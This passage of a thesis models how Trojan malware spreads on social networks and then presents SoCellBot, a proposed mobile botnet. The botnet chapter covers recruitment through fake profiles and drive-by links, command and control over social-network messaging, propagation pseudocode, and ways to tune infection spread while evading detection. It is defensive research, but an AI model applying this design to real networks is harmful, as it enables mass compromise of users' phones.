this set of experiments with those obtained from Experiment II where no disinfection solu-

tions were available. We assume no collaborative disinfection (δi = 0). Users’ probability

of executing the malware is pi = 0.5.

The results of this set of experiments are illustrated in Fig. 4.9(a) and 4.9(b) for qi = 0.2

and 0.4, respectively. As the graphs show, the number of infected users reaches a maximum

value then goes down gradually until most infected users become disinfected. Clean-up

solutions allow users to disinfect themselves and move to the recovered (protected) state.

As the number of infected users decreases, the number of protected users rises.

We also observe that higher qi values allow for better containment of the malware. In

other words, as qi increases, the maximum number of infected users decreases. For example,

in Fig. 4.9(a) when qi = 0.2, the maximum number of infected users is equal to 277 (point

A), while in Fig. 4.9(b), this value for qi=0.4 is equal to 151 (point B). Fig. 4.9(c), which

combines the curves of the number of infected users from Fig. 4.5(a), 4.9(a) and 4.9(b),

further illustrates this observation. When qi = 0.4, the number of infections goes down at

a faster rate than that when qi = 0.2.

Figure 4.5(a) depicts the case where qi = 0 and the number of infected users increased

and stayed constant until the end of the experiment because no disinfecting solutions were

available. In contrast, in Fig. 4.9(a) and 4.9(b), the number of infections decreases after

points A and B, respectively, until most infected users are disinfected.

In summary, knowledgeable users who find clean-up solutions independently are able to

recover from the infected state, resulting in fewer infected users, and thus more protected

105



0  50 100 150

500

1000

1500

2000

2500

3000

3500

4000

Time Units

E
xp

ec
te

d
 n

u
m

b
er

 o
f 

u
se

rs

 

 

Susceptible−Sim
Infected−Sim
Protected−Sim
Susceptible−Mdl
Infected−Mdl
Protected−Mdl

A

(a) qi = 0.2

0  50 100 150

500

1000

1500

2000

2500

3000

3500

4000

Time Units

E
xp

ec
te

d
 n

u
m

b
er

 o
f 

u
se

rs

 

 

Susceptible−Sim
Infected−Sim
Protected−Sim
Susceptible−Mdl
Infected−Mdl
Protected−Mdl

B

(b) qi=0.4
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Figure 4.9: Experiment IV: Independent disinfection - δi=0, pi=0.5, β̂150(t) = 0.005t

users, in the social network. The higher the value of qi, the higher the number of protected

users in the network.

4.7 Experiment V: Frequency of Visits

In the previous experiments, we assume that users visit the social network following an

exponential distribution τi ∼ E(40). In this experiment, we assume that users visit the

social network more often on average, following an exponential distribution τi ∼ E(20).

We repeated the experiments whose results are shown in Figs. 4.4(a) and 4.8(a) using

the new user message checking time τi ∼ E(20). The new experimental results are given

in Figs 4.10(a) and 4.10(b), respectively. The new graphs show the same trends as those

in the previous experiments. When there is no AV update and no clean-up solution (Fig.

4.10(a)), the number of infected users increases over time. With gradual linear AV release
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updates and collaborative disinfection (Fig. 4.10(b)), the number of infected users increases

at first, until it reaches to a certain point. After that, the number of infected users goes

down thanks to collaborative disinfection.

In order to compare the impact of frequency of visits, we consolidated the curves rep-

resenting the numbers of infected users from Fig. 4.4(a) (for τi ∼ E(40)) and Fig. 4.10(a)

(for τi ∼ E(20)) and placed them in Fig. 4.10(c). The combined graph shows that the

higher the frequency of visits, the higher the number of infected users within the same time

frame. For instance, at the 50th time unit, there are 2,323 infected users in the system

when τi ∼ E(40), while this number is 3,484 when τi ∼ E(20), a staggering difference of

30% more infected users within the same time frame.

We also combined the curves representing the numbers of infected users from Fig. 4.8(a)

(for τi ∼ E(40)) and Fig. 4.10(b) (for τi ∼ E(20)) and placed them in Fig. 4.10(d). We

observe a similar comparison: the higher the frequency of visits, the higher the number of

infected users within the same time frame. For instance, at the 25th time unit, there are

793 infected users in the network when τi ∼ E(20). This number is 215 infected users when

τi ∼ E(40).

4.8 Chapter Summary

In this chapter, we present an analytical model to study propagation characteristics of

Trojan malware and factors that impact the propagation dynamics of Trojans in an online

social network.

Unlike most previous works, the proposed model assumes all the topological charac-

teristics of real online social networks, namely, low average shortest distance, power-law

distribution of node degrees and high clustering coefficient. Furthermore, the model takes

into account attacking trends of modern Trojans (e.g., their ability to block users’ access to

AV provider websites), the role of AV products, and security practices such as gradual AV

update release by AV providers and users’ collaborative disinfection. These factors were

never considered in existing works. By taking into account these factors, the proposed model

can accurately and realistically estimate the infection rate caused by a Trojan malware in

an OSN as well the recovery rate of the user population.

The model is validated using a Facebook sub-graph [46]. The numerical results obtained

from the model closely match the simulation results. While being accurate, the model also

has low computational complexity, in the order of O(E), where E is the number of edges

in the network graph.
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(b) Collaborative disinfection - p = 0.5,

β̂16(t) = 0.05t, δ = 0.2, τi ∼ E(20)
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Figure 4.10: Experiment V: Frequency of visits - τ ∼ E(20) vs. E(40)

From the numerical and simulation results, we draw the following conclusions and

lessons. AV products play an important role in protecting OSN users from Trojans. For

zero-day or very novel malware, the faster AV providers release updates/patches, the more

users will be protected. In the case of blocking malware, collaborative disinfection is an

effective mechanism that helps infected users to recover, especially in cases of sophisticated

Trojans that use advanced social engineering techniques to deceive OSN users.

User awareness of security threats and safe browsing practices play an important role

in protecting OSN users from Trojans by slowing down the propagation of malware. OSN

administrators should launch campaigns and advertisements to educate users about safe

browsing practices (e.g., not following unknown links) and about new malicious social en-

gineering techniques as soon they are discovered. In the case of blocking malware, OSN

providers should notify infected users via different channels, e.g., short message service

108



(SMS) or email, and provide them with clean-up solutions as early as possible.

The simulation and numerical results suggest that the system converges to a steady

state. A formal proof of steady state convergence will be considered in our future work.
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Appendix 4A - Factors Affecting Probability pi

Let pi denote the probability of user i following a malicious post, unknowingly downloading

the malware and executing it. The probability pi depends on several factors as discussed

below:

• Security awareness: Users’ security awareness plays an important role in identifying

malicious links. The more educated a user about such threats, the less likely he/she

follows the malicious link or downloads the malware.

• Trust level between friends: The trust level between a user i and her friend j who

posted the link is also an important factor in executing the malware. The higher the

trust level between user i and the friend, the higher the chance the user accepts and

follows the malicious link.

• Viewing probability: The probability of user i viewing the malicious link on her

wall (or in the private message box) is an important factor in executing the malware.

That is, the higher the probability of user i seeing the malicious link, the higher the

chance of user i becoming infected. The chance of seeing the malicious post itself

is dependent on how often the user visits the social network, and how many friends

that user has. For instance, if the user visits the social network infrequently, there is

a high chance that the malicious link is pushed down to the bottom of the page by

many newer (legitimate) posts while the user is away, and the user may not see the

malicious link the next time she returns to the social network. In general, the more

friends a user has, the more posts he/she will receive and the higher the probability

that the malicious post is pushed down further on a page.

Appendix 4B - Malware Blocking Users’ Access to AV Provider

Websites

To block users from accessing any AV providers’ websites, malware writers use different

techniques. Two common techniques are (1) installing a rogue Domain Name System (DNS)

server agent [31] or (2) hijacking browsers [16]. In the fist technique, the malware installs a

DNS server agent on the infected computer to respond to the infected user’s DNS queries

with incorrect (sometimes malicious) answers in order to block the user from accessing

any AV provider’s website. In the second technique, the malware will intercept the browser
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Table 4.4: Running time of the inner for loop

Line(s) Function Cost for vertex i Cost for all vertices

14 γi(t) O(di)
∑V

i=1 di = 2E ⇒ O(E)

15 βi(t) O(1) O(V )

16 αi(t) O(di)
∑V

i=1 di = 2E ⇒ O(E)

17 P (Xi(t+ 1) = Sus) O(1)* O(V )

18 P (Xi(t+ 1) = Imm) O(1)* O(V )

19 P (Xi(t+ 1) = Inf) O(1)* O(V )

20 P (Xi(t+ 1) = Rec) O(1)* O(V )

13 to 21 Inner for loop O(V + E)
-

* Assuming that γi, βi, αi have been calculated, computing P (Xi(t+ 1) = X) takes O(1) time.

traffic, either through installation of an extension [16,40,41] or installing a modified browser

[40,41], and block the user’s HTTP requests from reaching an AV provider website.

Appendix 4C - Computational Complexity of the Proposed

Model

Based on the model presented in Section 4.4.4, Algorithm 1 shows how to compute EX(t)

for each state X = {Sus, Inf,Rec, Imm} at each time t. The algorithm stops when t = T .

The running time of Algorithm 1 is computed as follows: The initializations (lines 3-9)

take time O(V ). The running time of the inner for loop takes time O(V +E) as calculated

in Table 4.4. For each of the lines from 22 to 25, the computation of EX(t) is a sum over

all vertices, and thus takes O(V ) time. For each iteration of the outer for loop (lines 12 to

26), the running time is thus O(E + V ). The running time of the complete main algorithm

(T iterations) is T ×O(E + V ), or O(E + V ) since T is a constant as discussed above.

Because a social network graph is a very dense graph, E > V and O(E + V ) becomes

O(E).
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Algorithm 4 Implementation of the proposed model

1: Input: Undirected graph (G(V, E)), vector {pi, δi, qi, τi} for each node i, infiltrating

node k,

2: Output: EX(t) for each state X = {Sus, Inf,Rec, Imm} at t = 1, 2, ..., T

3: /* Initialization: */

4: P (Xk(0) = Inf) = 1

5: P (Xk(0) = X) = 0 for X = {Sus,Rec, Imm}
6: for each i in V AND i 6= k do

7: P (Xi(0) = Imm) = 0

8: P (Xi(0) = Sus) = 1

9: P (Xi(0) = Inf) = P (Xi(0) = Rec) = 0

10: end for

11: /* Main Algorithm */

12: for t : 0→ T − 1 do

13: for each i in V do

14: Compute γi(t) using Eq. (4.3)

15: Compute βi(t) using Eq. (4.4)

16: Compute αi(t) using Eq. (4.5)

17: Compute P (Xi(t+ 1) = Sus) using Eq. (4.6)

18: Compute P (Xi(t+ 1) = Imm) using Eq. (4.7)

19: Compute P (Xi(t+ 1) = Inf) using Eq. (4.8)

20: Compute P (Xi(t+ 1) = Rec) using Eq. (4.9)

21: end for

22: Compute ESus(t+ 1) =
∑i=V

i=1 P (Xi(t+ 1) = Sus)

23: Compute EImm(t+ 1) =
∑i=V

i=1 P (Xi(t+ 1) = Imm)

24: Compute EInf (t+ 1) =
∑i=V

i=1 P (Xi(t+ 1) = Inf)

25: Compute ERec(t+ 1) =
∑i=V

i=1 P (Xi(t+ 1) = Rec)

26: end for
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Chapter 5

Design and Analysis of SoCellBot,

a Cellular Botnet

5.1 Introduction

In addition to regular voice and text capabilities, recent advances in smartphone technologies

have enabled users to browse the Internet and access a large number of online services.

Online social networking is one of the most popular online services among smartphone users.

More than 600 millions of Facebook users (about 60% of all Facebook users) use mobile

devices to access the social network [141]. Given the ubiquitous nature of smartphone

services and online social networking, it is only a matter of time before hackers and cyber-

criminals exploit both to launch new types of attacks. In this chapter, we play the role

of a “devil’s advocate” and propose the design of a new cellular botnet named SoCellBot

that exploits social networks to recruit bots and uses messaging systems of online social

networks (OSNs) as communication channels between bots.

A mobile botnet is a group of compromised cellular phones that are controlled by one or

more botmasters. Although there exist several cellular botnet designs in the literature [47],

[48], [49], [50], [51], almost all of them use SMS (short messaging service) as the command

and control channel to recruit and control bots. Unlike existing works, our proposed botnet

is the first that uses the OSN platform as a means to recruit and control cellular bots.

OSNs are a more effective medium than SMS for botnets to carry out such an attack for

the following reasons. First, most cellular network providers offer OSN access to their clients

free of charge. This makes OSN messaging systems a cost-effective solution for cellular bots

to send and receive commands and control messages. Second, messages exchanged in OSNs
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are usually encrypted, making it hard for cellular network providers to identify and block

botnet messages. Third, the topology of an OSN-based botnet is more resilient to bot

failures or unavailability (compared with commonly seen botnets using on short message

services (SMS) [47], [50]) thanks to the highly clustered structure of the social network

graph [30]. Our main contribution in this chapter as a “devil’s advocate” is to move away

from traditional SMS-based botnets to take advantage of social networks for both recruiting

and controlling bots, resulting in stealthier and more resilient mobile botnets.

In this chapter, we provide in-depth descriptions of the design and implementation of

SoCellbot, and present a comprehensive evaluation of the propagation characteristics of

SoCellBot. In particular, we present:

• a comprehensive simulation-based analysis of the botnet’s strategies to maximize the

number of bots (infected victims) within a short amount of time, while minimizing

the risk of being detected;

• an analytic model of the recruitment phase to estimate the number of bots recruited

over time;

• a real-world implementation of SoCellbot on a small-scale social network we created,

and experimental results obtained from this implementation;

Our objectives are (1) to raise awareness of new mobile botnets that exploit OSNs to

recruit bots, and (2) to offer a better understanding of this new type of botnet so that

preventive measures can be implemented to deter this kind of attack in the future.

The remainder of this chapter is organized as follows. We describe the design of a

SoCelBot botnet in Section 5.2. The simulation model and parameters are presented in

Section 5.3. We analyze the simulation results in Section 5.4. We model the propagation of

SoCellBot in a social network in Section 5.5. In section 5.6, we present an implementation of

this botnet on Android devices and its propagation in a small social network. We summarize

this chapter in Section 5.7.

5.2 The Design of the Proposed SoCellBot Botnet

The objective of a SoCellBot botnet is to infect as many smartphones as possible with a

malware and, at the same time, minimize the traffic overhead it incurs to avoid detection.

The medium to spread the infection and to send commands to bots is the OSNs, which is

more cost-effective to bots than SMS messages. The design of a botnet consists of three
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major components: propagation mechanism, command and control channel, and botnet

topology maintenance.

5.2.1 Propagation Mechanism

Mobile devices are recruited into a botnet by running malicious software. This can be

achieved by exploiting a vulnerability either at the operating system (OS) level or the

application level. Vulnerabilities can result from various sources. One of the sources is

flaws or bugs in the OS software itself. The three major mobile phone operating systems

− Android, Symbian and iOS − have been shown to be vulnerable to malware attacks

[105,106,108]. Another source of vulnerabilities comes from users who do not have adequate

anti-virus or anti-malware software protection or do not update their OSs with security

patches. According to a recent report on mobile malware jointly issued by the Department

of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI), 79% of malware

threats target Android devices due to Android’s popularity (resulting from its market share

and open source architecture). However, 44% of the Android users are still using Android

version 2.3.3 to 2.3.7 (known as Gingerbread) that have vulnerabilities that were fixed in

later versions. To make the matter worse, the limited processing and storage capability of

mobile phones makes it difficult for anti-malware software vendors to implement complex

heuristic techniques to identify zero-day malware (previously unknown malware) before they

start to propagate in the wild.

In the design of SoCellBot, a botnet recruits new bots from an OSN in three stages.

• In the first stage, the botmaster creates several fake profiles and infiltrates them into

the social network (steps A and B in Fig. 5.1). The purpose of these fake profiles is

to make friends with as many real OSN users as possible. Infiltration has been shown

to be effective for starting a botnet in an OSN such as Facebook [142].

• In the second stage (step C in Fig. 5.1), the botmaster uses social engineering tech-

niques to create eye-catching web links that trick users into clicking on them. The

web links, which are posted on the fake users’ walls, lead unsuspecting users to a page

that contains a drive-by download vulnerability exploit [106]. (There exist several

real-world examples of drive-by download malware in the wild [106].) If a vulnerable

user follows the link, the malware will automatically be downloaded and executed

on the user’s smartphone which becomes infected. (A user is vulnerable if his/her

mobile device does not have adequate anti-malware software protection or the OS has
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flaws/bugs that can be exploited since no patch is available at that time [zero-day vul-

nerabilities]). We also assume that the malware can exploit kernel level vulnerabilities

to hide its activities from the user [143], [144], [106].) The malware also sends the ID

of the infected OSN user back to the botmaster (or to one of the fake users to avoid

the bottleneck at the botmaster and to minimize the chance of being detected due to

the concentrated traffic on the path to the botmaster). This allows the botmaster to

maintain a list of infected users in order to send out commands in the next stage.

After a user u is infected, the malware also posts the eye-catching web link(s) on the

user’s wall to “recruit” his/her friend. If a friend of u is vulnerable and clicks on

the link(s), the friend will become infected and the propagation cycle continues with

his/her own friends.

• In the third stage, infected mobile phones wait for commands from the botmaster,

which trigger the bots to carry out malicious activities such as denial-of-service at-

tacks, stealing confidential information (e.g., credit card numbers and passwords) or

tracking users’ activities. The commands can be sent via unicast messages (one to

one) or broadcast messages (one to many). In the former case, the botmaster consults

the list of infected users to determine the recipients of the commands. In the latter

case, an infected user will unknowingly join one of several groups created by the bot-

master in stage 2. (Social groups are common in OSNs such as Facebook and Flickr.)

By sending a message to a group, the botmaster can send a command to several users

using only one message in order to avoid or delay detection.

Stages 1 and 2 continue until the malware gets caught by the OSN administrator, or the

botmaster reaches his desired number of bots and stops the propagation process. Algorithm

5.2.1 summarizes the propagation algorithm (stages 1 and 2).

Bot 

Master

Fake 

User 1

Fake 

User 2

User 1
Infected 

User 2
User 3

Infected 

User 4

Infected

User 5
Infected

User 4

A

B

C

1

2

3

4

Figure 5.1: Propagation steps
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Algorithm 5 Malware propagation process

1: Input: a set of fake users U = {u1, u2, . . . , uk}; a set of Groups G = {G1, G2, . . . , Gn};
desired number of bots B

2: Output: A set of infected nodes stored in List;

3: for each ui in U do

4: POST malicious link on ui’s wall

5: end for

6: for i : 1→ k do

7: for each friend of ui do

8: if ((friend of ui followed the link) AND (friend of ui is vulnerable to the exploit))

then

9: EXECUTE malware on friend of ui

10: CHOOSE r; 1 ≤ r ≤ n
11: JOIN friend of ui → Gr

12: end if

13: end for

14: end for

15: for i : 1→ n do

16: MONITOR Gi

17: if (new profile P has joined in Gi) then

18: ADD P → List

19: STORE List

20: end if

21: end for

22: if (SIZE(List) ≥ B) then

23: STOP Propagation;

24: end if
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5.2.2 Command and Control Channel

The most common mechanism to infect mobile devices is to send malicious links and com-

mands via SMS. In fact, nearly half of the malicious mobile applications circulating today

on older Android OS propagate via SMS [108]. In many countries, users have to pay for

sending and receiving SMS messages. Our proposed botnet tries to minimize the use of

SMS to avoid being detected by users or cellular network providers. Therefore, each bot

will forward the command through an online social network messaging system (OSNMS),

which incurs no fee. As more and more cellular network providers offer access to OSNs free

of charge, forwarding the commands using an OSNMS overcomes the cost challenge existing

in current SMS-based botnets [145].

The botmaster sends out commands to bots via unicast messages to individual infected

users or via broadcast messages to groups, as described in the previous section, stage 3.

Sending a unicast message to a random user in Facebook is generally possible. However,

some users may deactivate this feature for non-friend users. But they are still able to receive

commands from their infected friends and/or via group messages.

Although in some cases it may not be possible for a malware to install a rootkit to

hide its activities (e.g., receiving commands from the botmaster), the commands can be

disguised to look like normal messages using an algorithm such as the one proposed by

Zeng et al. [50] in order to evade detection algorithms in OSNs.

5.2.3 SoCellBot Botnet Topology

The SoCellBot botnet topology is ensured to be connected thanks to the high clustering

characteristic of OSNs [43] [44] and [53], which refers to the fact that users tend to create

tightly knit groups characterized by a relatively high density of ties (friendships). As a

result, if some bots become idle or are disabled, there are still some other ways to reach the

neighbors of the disconnected bot. A SoCellBot botnet is thus resilient to bot failures and

unavailability compared to other existing botnets such as SMS botnets [47], [50].

The resiliency of SoCellBot can be explained by the extremely dense structure of a social

network graph ( [4]). Given such a dense graph, when some nodes fail or are unavailable,

other nodes can still be reached via available nodes.
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Figure 5.2: The extremely dense structure of a social network graph [4]

5.3 System Model and Simulation Parameters

In this section, we review the characteristics of online social networks, and describe the

network graph model and malware propagation model used in our simulations.

5.3.1 OSN Model and Graphs

An OSN can be represented by an equivalent undirected graph in which each vertex (or

node) represents a person, and a link between two vertices indicates the existence of a

relationship (friendship) between the two respective persons. There exist many OSNs in

which the relationship (friendship) between two users is mutual (e.g., Facebook, LinkedIn,

Orkut), and thus, they can be represented by undirected graphs.

Our simulations were carried out on a real-world Facebook subgraph [46] that possess

all the characteristics of a social network. The characteristics of online social networks,

which are studied in [43], [44], [53] can be summarized as follows:

1. An OSN typically has a low average network distance, approximately equal to log(s)/ log(d),

where s is the number of vertices (people), and d is the average vertex degree of the

equivalent graph.

2. Online social networks typically show a high clustering property, or high local tran-

sitivity. That is, if person A knows B and C, then B and C are likely to know each

other. Thus A, B and C form a friendship triangle. Let k denote the degree of a vertex

v. Then the number of all possible triangles originated from vertex v is k(k−1)/2. Let
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Parameter OSN ERG

Number of vertices (people) 4,039 4,039

Number of edges 88,234 88,234

Average clustering coefficient 0.6055 0.06

Average shortest path length 3.692 2.59

Network diameter 8 5

Maximum node degree 1045 1045

Average node degree d 43.69 43.69

Degree assortativity 0.06 -0.04

log(N)/ log(d) 1.6 1.6

Table 5.1: Characteristics of the Facebook subgraph and its equivalent random graph

f denote the number of friendship triangles of a vertex v in a social network graph.

Then the clustering coefficient C(v) of vertex v is defined as C(v) = 2f/(k(k − 1)).

The clustering coefficient of a graph is the average of the clustering coefficients of all

of its vertices. In a real OSN, the average clustering coefficient is about 0.1 to 0.7.

3. Node degrees of a social network graph tend to be, or at least approximately, power-law

distributed. The node degree of a power-law topology is a right-skewed distribution

with a power-law Complementary Cumulative Density Function (CCDF) of F (k) ∝
k−α, which is linear on a logarithmic scale. The power law distribution states that the

probability for a node v to have a degree k is P (k) ∝ k−α, where α is the power-law

exponent [146].

For the simulations reported in this chapter, we used the Facebook social network graph

constructed by McAuley and Leskovec [46]. The parameters and characteristics of the OSN

graph is listed in Table 5.1.

5.3.2 Bot Infection Model

In the first step of each experiment, a node (user) in the social network graph is chosen

randomly as a seed for infiltration. (In practice, the botmaster may implement several seeds

[fake profiles] for infiltration.) We mark this node as infected. This user (the malware) will

post a malicious link either on her wall or directly on the wall of each of her friends. (Since

the wall concept may not exist in some social networks, without loss of generality, we can
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assume that the user [the malware] sends the malicious link directly to her friends via the

OSN messaging system.) This link will lead to another malicious link that contains a drive-

by download vulnerability. When a user sees the malicious link, she will follow the link and

execute the malicious embedded code with a probability p. The probability p reflects the

fact that some people may be more cautious and do not follow the link or are not vulnerable

to the malware (thanks to a strong anti-malware software, for example).

The newly infected node follows the same procedure to infect her friends. In our simu-

lation, this process continues until one of the following conditions is met: (a) The malware

propagates 16 hops. (The network diameter of the OSN is eight hops, so 16 hops is a

generous distance for the malware to travel from one node to another in the network.) or

(b) The number of newly infected nodes remains less than ten for four consecutive time

units (i.e., further propagation of the malware will not significantly increase the number of

victims). In real life, the botmaster may stop the propagation when the number of infected

nodes reaches a certain number.

5.4 Simulation Results

Our simulations were conducted using the Facebook graph described in the previous section.

The simulation was done in MATLAB based on discrete-event simulation. Each data point

in the graphs is averaged over 100 runs, each of which started with a different infiltrating

node (user) selected randomly.

We conducted three sets of experiments. In the first set, we measured the total number

of infected smartphones T over time. A virtual time unit t is defined as the time the

malware takes to traverse one hop in the OSN to reach all the neighbors of the current

newly infected node. We assume that all newly infected nodes forward the malicious link

within one virtual time unit. As a result, time can be represented by the number of hops

in the OSN graph, where a hop is equivalent to a virtual time unit. In addition to the

total number of infected smartphones T over time, we also measured the number of newly

infected smartphones N at every virtual time unit t. That is, T (t + 1) = T (t) + N(t + 1).

Metric N shows us the point in time when the propagation achieves its peak performance,

i.e., infecting the most number of new phones.

In the second set of experiments, we recorded the total number of messages (carrying

the malicious link) M sent by all the infected phones via the OSN over time. Again, time is

represented by the number of hops in the OSN graph as explained above. Metric M reflects

the amount of network bandwidth and resources consumed by the botnet. Attackers would
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want to keep M as low as possible to avoid alerting the network administrator to the attack.

We also recorded the total number of non-duplicate messages R accepted by nodes in the

OSN over time.

In the above two sets of experiments, once a user is infected, the malicious message is

forwarded to all of his/her friends. That is, the network is flooded with malicious messages

that infect and recruit bots. To reduce the risk of being detected by network traffic anomaly

detectors, the botnet designer can limit the number of sent messages by sending malicious

messages to only a subset of friends of an infected users. In the third set of experiments,

we evaluate the effectiveness of this selective forwarding scheme.

In order to study the impact of topological characteristics on malware propagation, we

also created an equivalent random graph (ERG) corresponding to the Facebook graph using

the algorithm proposed by Viger and Latapy [3]. The random graph has the same node

degree distribution as the equivalent Facebook graph. However, the other parameters may

be different. For instance, an ERG usually has a lower clustering coefficient and network

diameter than the original OSN graph. The parameters of the equivalent random graph

are also listed in Table 5.1. In the equivalent random graph, the node degrees are also

power-law distributed as in the Facebook graph.

We now explain the reason for studying equivalent random graphs in addition to original

OSN graphs. In addition to randomly choosing the victims, a botmaster may be able to

obtain the graph of an OSN using a tool such as R [147] or Pajek [148]. He/she may then

create ERGs using an algorithm such as the one by Viger and Latapy [3]. As our simulation

results will show, an ERG helps a malware to propagate faster than the original OSN graph,

but requires more messages to infect the same number of victims. Our goal is to determine

whether ERGs help or hinder the malware propagation in order to predict attack strategies.

Following are the results we obtained from these three sets of experiments. A summary

of the experimental results are shown in Table 5.2.

5.4.1 The First Set of Experiments: Number of Infected Smartphones

This set of experiments consists of three scenarios.

Scenario 1: The graph in Fig. 5.3(a) show the total number of infected smartphones

T (t) and the number of newly infected smartphones N(t) over time using the two OSNs

defined in Table 5.1 for two different values of p, the probability that a user will follow the

malicious link. We considered two cases: a constant value of p = 1 (i.e., a user is vulnerable

and always executes the malicious payload sent via the link), and a normal distribution of
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Table 5.2: Simulation parameters, scenarios and result summaries

Experiment Figure Parameters Summary of Results

Experiment I - Measuring

the total number of in-

fected users over time

Fig.

5.3(a)

p = {1, ∼
N (0.5, 0.022)}

The higher the average value of p, the

more infections in the network

Fig.

5.3(b)
p = {0.25, 0.5, 0.75, 1}

As p increases, it requires fewer hops

to infect the same number of new vic-

tims. The impact of p on metric N is

negligible when p > 0.75.

Fig.

5.3(c)

p = 1, G = {OSN,

ERG}

The malware propagates faster in the

random graph due to its limited clus-

tering structure. High clustering struc-

tures of OSNs slow down the propaga-

tion.

Experiment II - Measuring

the total number of mali-

cious messages sent by the

infected nodes

Fig.

5.4

p = 1, G = {OSN,

ERG}, ERG: equiva-

lent random graph

The bots in an ERG send out much

more messages than those in the orig-

inal OSN, making the botnet in the

ERG more vulnerable to detection.

Experiment III - Evaluat-

ing the impact of selective

forwarding

Fig.

5.5(a)

p = 1, q =

{0.3, 0.5, 0.7}, RFS

(random friend selec-

tion)

In general, the higher the value of q,

the more users become infected.

Fig.

5.5(b)

p = 1, q =

{0.3, 0.5, 0.7}, TDFS

(top-degree friend

selection)

In general, the higher the value of q,

the more users become infected. The

impact of q is more significant in TDFS

than in RFS.

Fig.

5.5(c)

p = 1, T(16) of

RFS and TDFS for

q={0.1,0.2,. . . ,1}

The RFS scheme leads to faster prop-

agation than the TDFS scheme.

Fig.

5.5(d)

p = 1, M (total num-

ber of messages sent)

and R (total number of

messages received) for

TDFS and RFS

Given the same q, the M values of the

RFS and TDFS scheme are very simi-

lar. The conclusion is the same for the

R values of the two schemes. However,

a RFS-based botnet can infect far more

users than a TDFS-based botnet.

Fig.

5.6(a)

p = {0.25, 0.5, 0.75, 1},
q = 0.5, T(t) for RFS

The higher the value of p, the more

cellular bots are recruited. The impact

of p on metric T is negligible when p ≥
0.5.

Fig.

5.6(b)

p = {0.25, 0.5, 0.75, 1},
q = 0.5, N(t) for RFS

The higher the value of p, the more

new cellular bots are recruited. When

p ≥ 0.5, the maximum value of N(t)

approaches the shortest average dis-

tance of the OSN.
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p with mean µ = 0.5 and variance σ2 = 0.022.

In the OSN graph, as p increases from the mean value 0.5 to 1, more users will execute

the malware, making the malware propagate faster (i.e., requires less hops to infect the

same number of victims), as we would expect. For instance, in the OSN graph, it takes

roughly three hops when p = 1 and five hops when average p = 0.5 to infect a total of 2,000

phones.

Scenario 2: To further study the effect of the malware execution probability p on

metric N , we ran experiments on the OSN defined in Table 5.1 using p values of 0.25,

0.5, 0.75 and 1. The goal is to determine a point in time where the malware reaches the

maximum number of potential victims. The results, shown in Fig. 5.3(b), shows that as p

increases, the malware propagates faster (i.e., requires less hops to infect the same number

of new victims). However, as p gets larger, above 0.75, its impact on metric N becomes

negligible. The malware can reach most of the uninfected users in the OSN within five or

six hops from the first victim. The result is consistent with a phenomenon called six degree

of separation, which refers to the idea that on average any two persons on earth could be

connected through at most five acquaintances [149,150].

Scenario 3: In this experiment, we compare the Facebook graph with its equivalent

random graph (ERG) (see Table 5.1 for their parameters). The result in Fig. 5.3(c) shows

that metric N , the number of newly infected nodes, reaches the maximum value when t = 4

(at the fourth hop) in the original OSN graph, and when t = 3 (at the third hop) in the

ERG. At time t = 3, the total number of infected smartphones in the OSN graph is 1686

versus 3866 in the random graph. This indicates that the malware propagates faster in

the random graph. The reason is that the ERG has a lower clustering coefficient than the

original OSN graph, 0.06 vs. 0.6. A higher clustering coefficient implies that a message will

circulate for a while in a community among friends before reaching to other parts of the

OSN, slowing down the malware propagation.

Using the above result, a botmaster may prefer to send malicious messages randomly

without following the OSN graph structure to speed up the malware propagation. (However,

the bots in the random graph generated much more messages than those in the original OSN

graph as will be discussed next. This may raise a red flag in the network which results in

early termination of the propagation by OSN administrators.)
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5.4.2 The Second Set of Experiments: Number of Messages

In this set of experiments, we also used the network graphs and bot infection model described

in Section 5.3. The graphs in Fig. 5.4 show the total number of messages M (including

duplicate messages) sent by all the infected phones via the OSN over time for the Facebook

graph and its equivalent random graph defined in Table 5.1.

We can see that the value M obtained from an ERG is significantly higher than that

from the original OSN graph. For example, in the OSN network, when t = 3, the ERG

gives M = 107, 600 messages, while the value M given by the OSN is 32,080 messages. The

results demonstrate that the bots in an ERG send out much more messages than those in

the original OSN. This could alert the network administrator to the presence of the botnet.

Although a random graph helps a malicious message propagate faster as demonstrated in the

previous section, it also incurs the risk of making the botnet more vulnerable to detection.

Therefore, sending the malware via the topology of an equivalent graph of a real network is

not a good approach as this may alert the OSN administrator in the early stage of malware

propagation.
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(b) Scenario 2: varying probability p
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Figure 5.3: The first set of experiments - Scenarios 1, 2 and 3
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Figure 5.4: The second set of experiment (p = 1)
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5.4.3 The Third Set of Experiments: Selective Forwarding Schemes vs.

Flooding

Instead of flooding the network by sending malicious messages to all friends of an infected

user, a bot could choose to forward messages to only q percent of his/her friends. This will

lower the number of messages sent and received in the network, which in turn reduce the

likelihood of the botnet being detected by network monitoring tools. Which friends of an

infected user v should the botnet designer select to forward malicious messages to? The

simplest scheme is to randomly select q percent of v’s friends. A more elaborate scheme is

to select q percent of v’s friends who have the highest numbers of friendships (i.e., friends

with the highest node degrees). We term friends in this set “top degree friends”. The use

of “top degree friends” in OSNs for various purposes has been widely considered, e.g., for

malware propagation studies [28] and network monitoring [37]).

In this set of experiments, we used the OSN graph defined in Table 5.1. In each virtual

time unit t, we selected q percent of friends of the user that has just been infected and

forwarded the malicious message to those friends; we then recorded the total number of

infected users T (t) and the number of newly infected users N(t) in the following four

scenarios.

Scenario 1

In each virtual time unit, we randomly chose q percent of friends of the user that has just

been infected and forwarded the malicious message to them. Fig. 5.5(a) shows function

T (t) for q = 30%, 50% and 70%. As time progresses, the total number of infections increases

as expected. A smaller value of q results in a lower number of infections because less friends

are infected in each virtual time unit, and thus slows down the propagation.

Scenario 2

In each virtual time unit, we selected q percent of friends who have the highest numbers of

friendships and forwarded the malicious message to them. Fig. 5.5(b) shows function T (t)

for q = 30%, 50% and 70%. We observe the same trend as in the random selection scheme

(Fig. 5.5(a)). However, the gaps between the three curves in Fig. 5.5(b) are wider than

those in Fig. 5.5(a). This observation implies that the value of q plays a more important

role in the top degree friend selection (TDFS) scheme than in the random friend selection

(RFS) scheme.
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Scenario 3

We repeated the above two experiments with more values of q (q = 10%, 20%, . . . , 90%, 100%),

but stopped each simulation only when t = 16. We then recorded the value T (16). (Note

that T (t) is a non-decreasing function.) The graph in Fig. 5.5(c) shows T (16) for different

values of q. The blue and red curves in Fig. 5.5(c) represent the TDFS and the RFS

schemes, respectively. The graph shows that, given the same q value the RFS scheme can

reach (infect) more users than the TDFS scheme. The difference in this experiment can be

